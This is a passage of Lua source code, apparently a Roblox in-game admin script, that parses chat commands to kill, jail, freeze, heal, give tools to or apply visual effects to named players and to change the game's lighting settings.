  440. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  441. if obj and #obj:children() >= 1 and plr.Character then
  442. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  443. end
  444. end))
  445. end
  446.  
  447. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  448. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  449. objects = {}
  450. end
  451.  
  452. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  453. game.Lighting.Ambient = origsettings.abt
  454. game.Lighting.Brightness = origsettings.brt
  455. game.Lighting.TimeOfDay = origsettings.time
  456. game.Lighting.FogColor = origsettings.fclr
  457. game.Lighting.FogEnd = origsettings.fe
  458. game.Lighting.FogStart = origsettings.fs
  459. for i, v in pairs(lobjs) do v:Destroy() end
  460. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  461. end
  462.  
  463. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  464. coroutine.resume(coroutine.create(function()
  465. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  466. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  467. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  468. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  469. end))
  470. end
  471.  
  472. if msg:lower():sub(1,2) == "m " then
  473. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  474. end
  475.  
  476. if msg:lower():sub(1,2) == "h " then
  477. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  478. end
  479.  
  480. if msg:lower():sub(1,3) == "pm " then
  481. local chk1 = msg:lower():sub(4):find(" ") + 3
  482. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  483. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  484. end
  485.  
  486. if msg:lower():sub(1,11) == "resetstats " then
  487. local plrz = GetPlr(plr, msg:lower():sub(12))
  488. for i, v in pairs(plrz) do
  489. coroutine.resume(coroutine.create(function()
  490. if v and v:findFirstChild("leaderstats") then
  491. for a, q in pairs(v.leaderstats:children()) do
  492. if q:IsA("IntValue") then q.Value = 0 end
  493. end
  494. end
  495. end))
  496. end
  497. end
  498.  
  499. if msg:lower():sub(1,5) == "gear " then
  500. local chk1 = msg:lower():sub(6):find(" ") + 5
  501. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  502. for i, v in pairs(plrz) do
  503. coroutine.resume(coroutine.create(function()
  504. if v and v.Character then
  505. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  506. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  507. obj:Destroy()
  508. end
  509. end))
  510. end
  511. end
  512.  
  513. if msg:lower():sub(1,4) == "hat " then
  514. local chk1 = msg:lower():sub(5):find(" ") + 4
  515. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  516. for i, v in pairs(plrz) do
  517. coroutine.resume(coroutine.create(function()
  518. if v and v.Character then
  519. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  520. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  521. obj:Destroy()
  522. end
  523. end))
  524. end
  525. end
  526.  
  527. if msg:lower():sub(1,5) == "cape " then
  528. local chk1 = msg:lower():sub(6):find(" ")
  529. local plrz = GetPlr(plr, msg:lower():sub(6))
  530. local str = "torso.BrickColor"
  531. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  532. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  533. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  534. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  535. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  536. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  537. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  538. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  539. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  540. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  541. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  542. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  543. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  544. if BrickColor.new(teststr) ~= nil then str = teststr end
  545. end
  546. for i, v in pairs(plrz) do
  547. coroutine.resume(coroutine.create(function()
  548. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  549. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  550. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  551. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  552. local torso = plr.Character.Torso
  553. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  554. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  555. p.Size = Vector3.new(.2,.2,.2)
  556. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  557. local motor1 = Instance.new("Motor", p)
  558. motor1.Part0 = p
  559. motor1.Part1 = torso
  560. motor1.MaxVelocity = .01
  561. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  562. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  563. local wave = false
  564. repeat wait(1/44)
  565. local ang = 0.1
  566. local oldmag = torso.Velocity.magnitude
  567. local mv = .002
  568. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  569. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  570. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  571. motor1.DesiredAngle = -ang
  572. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  573. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  574. if torso.Velocity.magnitude < .1 then wait(.1) end
  575. until not p or p.Parent ~= torso.Parent
  576. script:Destroy()
  577. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  578. end
  579. end))
  580. end
  581. end
  582.  
  583. if msg:lower():sub(1,7) == "uncape " then
  584. local plrz = GetPlr(plr, msg:lower():sub(8))
  585. for i, v in pairs(plrz) do
  586. coroutine.resume(coroutine.create(function()
  587. if v and v:findFirstChild("PlayerGui") and v.Character then
  588. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  589. end
  590. end))
  591. end
  592. end
  593.  
  594. if msg:lower():sub(1,7) == "noclip " then
  595. local plrz = GetPlr(plr, msg:lower():sub(8))
  596. for i, v in pairs(plrz) do
  597. coroutine.resume(coroutine.create(function()
  598. if v and v:findFirstChild("PlayerGui") then
  599. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  600. cl.Parent = v.PlayerGui cl.Disabled = false
  601. end
  602. end))
  603. end
  604. end
  605.  
  606. if msg:lower():sub(1,5) == "clip " then
  607. local plrz = GetPlr(plr, msg:lower():sub(6))
  608. for i, v in pairs(plrz) do
  609. coroutine.resume(coroutine.create(function()
  610. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  611. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  612. v.Character.Torso.Anchored = false
  613. wait(.1) v.Character.Humanoid.PlatformStand = false
  614. end
  615. end))
  616. end
  617. end
  618.  
  619. if msg:lower():sub(1,5) == "jail " then
  620. local plrz = GetPlr(plr, msg:lower():sub(6))
  621. for i, v in pairs(plrz) do
  622. coroutine.resume(coroutine.create(function()
  623. if v and v.Character and v.Character:findFirstChild("Torso") then
  624. local vname = v.Name
  625. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  626. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  627. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  628. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  629. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  630. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  631. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  632. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  633. end)
  634. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  635. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  636. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  637. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  638. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  639. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  640. local msh2 = msh:Clone() msh2.Parent = back
  641. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  642. local msh4 = msh3:Clone() msh4.Parent = left
  643. v.Character.Torso.CFrame = cf
  644. end
  645. end))
  646. end
  647. end
  648.  
  649. if msg:lower():sub(1,7) == "unjail " then
  650. local plrz = GetPlr(plr, msg:lower():sub(8))
  651. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  652. end
  653.  
  654. if msg:lower():sub(1,11) == "starttools " then
  655. local plrz = GetPlr(plr, msg:lower():sub(12))
  656. for i, v in pairs(plrz) do
  657. coroutine.resume(coroutine.create(function()
  658. if v and v:findFirstChild("Backpack") then
  659. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  660. end
  661. end))
  662. end
  663. end
  664.  
  665. if msg:lower():sub(1,6) == "sword " then
  666. local plrz = GetPlr(plr, msg:lower():sub(7))
  667. for i, v in pairs(plrz) do
  668. coroutine.resume(coroutine.create(function()
  669. if v and v:findFirstChild("Backpack") then
  670. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  671. sword.GripForward = Vector3.new(-1,0,0)
  672. sword.GripPos = Vector3.new(0,0,-1.5)
  673. sword.GripRight = Vector3.new(0,1,0)
  674. sword.GripUp = Vector3.new(0,0,1)
  675. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  676. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  677. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  678. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  679. local Damage = 15
  680. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  681. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  682. SlashSound.Volume = 1
  683. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  684. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  685. LungeSound.Volume = 1
  686. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  687. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  688. UnsheathSound.Volume = 1
  689. local last = 0
  690. script.Parent.Handle.Touched:connect(function(hit)
  691. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  692. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  693. hit.Parent.Humanoid:TakeDamage(Damage)
  694. end
  695. end)
  696. script.Parent.Activated:connect(function()
  697. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  698. script.Parent.Enabled = false
  699. local tick = game:service("RunService").Stepped:wait()
  700. if tick - last <= .2 then
  701. LungeSound:play()
  702. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  703. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  704. wait(.2)
  705. script.Parent.GripForward = Vector3.new(0,0,1)
  706. script.Parent.GripRight = Vector3.new(0,-1,0)
  707. script.Parent.GripUp = Vector3.new(-1,0,0)
  708. wait(.3)
  709. frc:Destroy() wait(.5)
  710. script.Parent.GripForward = Vector3.new(-1,0,0)
  711. script.Parent.GripRight = Vector3.new(0,1,0)
  712. script.Parent.GripUp = Vector3.new(0,0,1)
  713. else
  714. SlashSound:play()
  715. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  716. end
  717. last = tick
  718. script.Parent.Enabled = true
  719. end)
  720. script.Parent.Equipped:connect(function(mouse)
  721. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  722. UnsheathSound:play()
  723. script.Parent.Enabled = true
  724. if not mouse then return end
  725. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  726. end)]] cl.Disabled = false
  727. end
  728. end))
  729. end
  730. end
  731.  
  732. if msg:lower():sub(1,5) == "kill " then
  733. local plrz = GetPlr(plr, msg:lower():sub(6))
  734. for i, v in pairs(plrz) do
  735. coroutine.resume(coroutine.create(function()
  736. if v and v.Character then v.Character:BreakJoints() end
  737. end))
  738. end
  739. end
  740.  
  741. if msg:lower():sub(1,8) == "respawn " then
  742. local plrz = GetPlr(plr, msg:lower():sub(9))
  743. for i, v in pairs(plrz) do
  744. coroutine.resume(coroutine.create(function()
  745. if v and v.Character then v:LoadCharacter() end
  746. end))
  747. end
  748. end
  749.  
  750. if msg:lower():sub(1,5) == "trip " then
  751. local plrz = GetPlr(plr, msg:lower():sub(6))
  752. for i, v in pairs(plrz) do
  753. coroutine.resume(coroutine.create(function()
  754. if v and v.Character and v.Character:findFirstChild("Torso") then
  755. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  756. end
  757. end))
  758. end
  759. end
  760.  
  761. if msg:lower():sub(1,5) == "stun " then
  762. local plrz = GetPlr(plr, msg:lower():sub(6))
  763. for i, v in pairs(plrz) do
  764. coroutine.resume(coroutine.create(function()
  765. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  766. v.Character.Humanoid.PlatformStand = true
  767. end
  768. end))
  769. end
  770. end
  771.  
  772. if msg:lower():sub(1,7) == "unstun " then
  773. local plrz = GetPlr(plr, msg:lower():sub(8))
  774. for i, v in pairs(plrz) do
  775. coroutine.resume(coroutine.create(function()
  776. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  777. v.Character.Humanoid.PlatformStand = false
  778. end
  779. end))
  780. end
  781. end
  782.  
  783. if msg:lower():sub(1,5) == "jump " then
  784. local plrz = GetPlr(plr, msg:lower():sub(6))
  785. for i, v in pairs(plrz) do
  786. coroutine.resume(coroutine.create(function()
  787. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  788. v.Character.Humanoid.Jump = true
  789. end
  790. end))
  791. end
  792. end
  793.  
  794. if msg:lower():sub(1,4) == "sit " then
  795. local plrz = GetPlr(plr, msg:lower():sub(5))
  796. for i, v in pairs(plrz) do
  797. coroutine.resume(coroutine.create(function()
  798. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  799. v.Character.Humanoid.Sit = true
  800. end
  801. end))
  802. end
  803. end
  804.  
  805. if msg:lower():sub(1,10) == "invisible " then
  806. local plrz = GetPlr(plr, msg:lower():sub(11))
  807. for i, v in pairs(plrz) do
  808. coroutine.resume(coroutine.create(function()
  809. if v and v.Character then
  810. for a, obj in pairs(v.Character:children()) do
  811. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  812. end
  813. end
  814. end))
  815. end
  816. end
  817.  
  818. if msg:lower():sub(1,8) == "visible " then
  819. local plrz = GetPlr(plr, msg:lower():sub(9))
  820. for i, v in pairs(plrz) do
  821. coroutine.resume(coroutine.create(function()
  822. if v and v.Character then
  823. for a, obj in pairs(v.Character:children()) do
  824. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  825. end
  826. end
  827. end))
  828. end
  829. end
  830.  
  831. if msg:lower():sub(1,5) == "lock " then
  832. local plrz = GetPlr(plr, msg:lower():sub(6))
  833. for i, v in pairs(plrz) do
  834. coroutine.resume(coroutine.create(function()
  835. if v and v.Character then
  836. for a, obj in pairs(v.Character:children()) do
  837. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  838. end
  839. end
  840. end))
  841. end
  842. end
  843.  
  844. if msg:lower():sub(1,7) == "unlock " then
  845. local plrz = GetPlr(plr, msg:lower():sub(8))
  846. for i, v in pairs(plrz) do
  847. coroutine.resume(coroutine.create(function()
  848. if v and v.Character then
  849. for a, obj in pairs(v.Character:children()) do
  850. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  851. end
  852. end
  853. end))
  854. end
  855. end
  856.  
  857. if msg:lower():sub(1,8) == "explode " then
  858. local plrz = GetPlr(plr, msg:lower():sub(9))
  859. for i, v in pairs(plrz) do
  860. coroutine.resume(coroutine.create(function()
  861. if v and v.Character and v.Character:findFirstChild("Torso") then
  862. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  863. end
  864. end))
  865. end
  866. end
  867.  
  868. if msg:lower():sub(1,4) == "age " then
  869. local plrz = GetPlr(plr, msg:lower():sub(5))
  870. for i, v in pairs(plrz) do
  871. coroutine.resume(coroutine.create(function()
  872. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  873. end))
  874. end
  875. end
  876.  
  877. if msg:lower():sub(1,5) == "fire " then
  878. local plrz = GetPlr(plr, msg:lower():sub(6))
  879. for i, v in pairs(plrz) do
  880. coroutine.resume(coroutine.create(function()
  881. if v and v.Character and v.Character:findFirstChild("Torso") then
  882. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  883. end
  884. end))
  885. end
  886. end
  887.  
  888. if msg:lower():sub(1,7) == "unfire " then
  889. local plrz = GetPlr(plr, msg:lower():sub(8))
  890. for i, v in pairs(plrz) do
  891. coroutine.resume(coroutine.create(function()
  892. if v and v.Character and v.Character:findFirstChild("Torso") then
  893. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  894. end
  895. end))
  896. end
  897. end
  898.  
  899. if msg:lower():sub(1,6) == "smoke " then
  900. local plrz = GetPlr(plr, msg:lower():sub(7))
  901. for i, v in pairs(plrz) do
  902. coroutine.resume(coroutine.create(function()
  903. if v and v.Character and v.Character:findFirstChild("Torso") then
  904. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  905. end
  906. end))
  907. end
  908. end
  909.  
  910. if msg:lower():sub(1,8) == "unsmoke " then
  911. local plrz = GetPlr(plr, msg:lower():sub(9))
  912. for i, v in pairs(plrz) do
  913. coroutine.resume(coroutine.create(function()
  914. if v and v.Character and v.Character:findFirstChild("Torso") then
  915. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  916. end
  917. end))
  918. end
  919. end
  920.  
  921. if msg:lower():sub(1,9) == "sparkles " then
  922. local plrz = GetPlr(plr, msg:lower():sub(10))
  923. for i, v in pairs(plrz) do
  924. coroutine.resume(coroutine.create(function()
  925. if v and v.Character and v.Character:findFirstChild("Torso") then
  926. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  927. end
  928. end))
  929. end
  930. end
  931.  
  932. if msg:lower():sub(1,11) == "unsparkles " then
  933. local plrz = GetPlr(plr, msg:lower():sub(12))
  934. for i, v in pairs(plrz) do
  935. coroutine.resume(coroutine.create(function()
  936. if v and v.Character and v.Character:findFirstChild("Torso") then
  937. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  938. end
  939. end))
  940. end
  941. end
  942.  
  943. if msg:lower():sub(1,3) == "ff " then
  944. local plrz = GetPlr(plr, msg:lower():sub(4))
  945. for i, v in pairs(plrz) do
  946. coroutine.resume(coroutine.create(function()
  947. if v and v.Character then Instance.new("ForceField", v.Character) end
  948. end))
  949. end
  950. end
  951.  
  952. if msg:lower():sub(1,5) == "unff " then
  953. local plrz = GetPlr(plr, msg:lower():sub(6))
  954. for i, v in pairs(plrz) do
  955. coroutine.resume(coroutine.create(function()
  956. if v and v.Character then
  957. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  958. end
  959. end))
  960. end
  961. end
  962.  
  963. if msg:lower():sub(1,7) == "punish " then
  964. local plrz = GetPlr(plr, msg:lower():sub(8))
  965. for i, v in pairs(plrz) do
  966. coroutine.resume(coroutine.create(function()
  967. if v and v.Character then
  968. v.Character.Parent = game:service("Lighting")
  969. end
  970. end))
  971. end
  972. end
  973.  
  974. if msg:lower():sub(1,9) == "unpunish " then
  975. local plrz = GetPlr(plr, msg:lower():sub(10))
  976. for i, v in pairs(plrz) do
  977. coroutine.resume(coroutine.create(function()
  978. if v and v.Character then
  979. v.Character.Parent = game:service("Workspace")
  980. v.Character:MakeJoints()
  981. end
  982. end))
  983. end
  984. end
  985.  
  986. if msg:lower():sub(1,7) == "freeze " then
  987. local plrz = GetPlr(plr, msg:lower():sub(8))
  988. for i, v in pairs(plrz) do
  989. coroutine.resume(coroutine.create(function()
  990. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  991. for a, obj in pairs(v.Character:children()) do
  992. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  993. end
  994. end
  995. end))
  996. end
  997. end
  998.  
  999. if msg:lower():sub(1,5) == "thaw " then
  1000. local plrz = GetPlr(plr, msg:lower():sub(6))
  1001. for i, v in pairs(plrz) do
  1002. coroutine.resume(coroutine.create(function()
  1003. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1004. for a, obj in pairs(v.Character:children()) do
  1005. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1006. end
  1007. end
  1008. end))
  1009. end
  1010. end
  1011.  
  1012. if msg:lower():sub(1,5) == "heal " then
  1013. local plrz = GetPlr(plr, msg:lower():sub(6))
  1014. for i, v in pairs(plrz) do
  1015. coroutine.resume(coroutine.create(function()
  1016. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1017. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1018. end
  1019. end))
  1020. end
  1021. end
  1022.  
  1023. if msg:lower():sub(1,4) == "god " then
  1024. local plrz = GetPlr(plr, msg:lower():sub(5))
  1025. for i, v in pairs(plrz) do
  1026. coroutine.resume(coroutine.create(function()
  1027. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1028. v.Character.Humanoid.MaxHealth = math.huge
  1029. v.Character.Humanoid.Health = 9e9
  1030. end
  1031. end))
  1032. end
  1033. end
  1034.  
  1035. if msg:lower():sub(1,6) == "ungod " then
  1036. local plrz = GetPlr(plr, msg:lower():sub(7))
  1037. for i, v in pairs(plrz) do
  1038. coroutine.resume(coroutine.create(function()
  1039. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1040. v.Character.Humanoid.MaxHealth = 100
  1041. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1042. end
  1043. end))
  1044. end
  1045. end
  1046.  
  1047. if msg:lower():sub(1,8) == "ambient " then
  1048. local chk1 = msg:lower():sub(9):find(" ") + 8
  1049. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1050. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1051. end
  1052.  
  1053. if msg:lower():sub(1,11) == "brightness " then
  1054. game.Lighting.Brightness = msg:sub(12)
  1055. end
  1056.  
  1057. if msg:lower():sub(1,5) == "time " then
  1058. game.Lighting.TimeOfDay = msg:sub(6)
  1059. end
  1060.  
  1061. if msg:lower():sub(1,9) == "fogcolor " then
  1062. local chk1 = msg:lower():sub(10):find(" ") + 9
  1063. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1064. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1065. end
  1066.  
  1067. if msg:lower():sub(1,7) == "fogend " then
  1068. game.Lighting.FogEnd = msg:sub(8)
  1069. end
  1070.  
  1071. if msg:lower():sub(1,9) == "fogstart " then
  1072. game.Lighting.FogStart = msg:sub(10)
  1073. end
  1074.  
  1075. if msg:lower():sub(1,7) == "btools " then
  1076. local plrz = GetPlr(plr, msg:lower():sub(8))
  1077. for i, v in pairs(plrz) do
